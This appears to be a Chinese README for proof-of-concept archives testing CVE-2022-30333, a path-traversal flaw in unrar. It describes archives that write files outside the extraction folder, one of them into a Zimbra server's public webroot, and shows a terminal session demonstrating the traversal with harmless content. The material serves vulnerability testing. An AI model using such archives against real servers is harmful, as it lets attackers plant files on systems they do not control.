用于测试CVE-2022-30333的示例文件
Sample.rar : 如果你想在Linux上测试。解压后,它会在 ../../tmp/traversed 中创建 trav。请确保在解压 Sample.rar 之前目录 ../../tmp/traversed 已存在
exp.rar : 如果你想在Zimbra邮件服务器上测试。解压后,它会在 /opt/zimbra/jetty_base/webapps/zimbra/public/ 中创建 moo.txt。你可以通过 https://zimbra\_mail\_domain/public/moo.txt 访问该文件
mkdir ../../tmp/traversed (目标文件夹在解压前必须存在)
ls -la ../../tmp/traversed/
total 8
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 4 02:44 .
drwxrwxr-x 4 ubuntu ubuntu 4096 Jul 4 02:40 ..
unrar x exp.rar
UNRAR 6.10 beta 1 freeware Copyright (c) 1993-2021 Alexander Roshal
Corrupt header is found
sym - the file header is corrupt
Extracting from exp.rar
Corrupt header is found
sym - the file header is corrupt
Extracting sym OK
Extracting sym/trav OK
Total errors: 4
ls -la ../../tmp/traversed/
total 12
drwxrwxr-x 2 ubuntu ubuntu 4096 Jul 4 02:47 .
drwxrwxr-x 4 ubuntu ubuntu 4096 Jul 4 02:40 ..
-rw-rw-r-- 1 ubuntu ubuntu 14 Jul 4 02:34 trav
cat ../../tmp/traversed/trav
"traversed"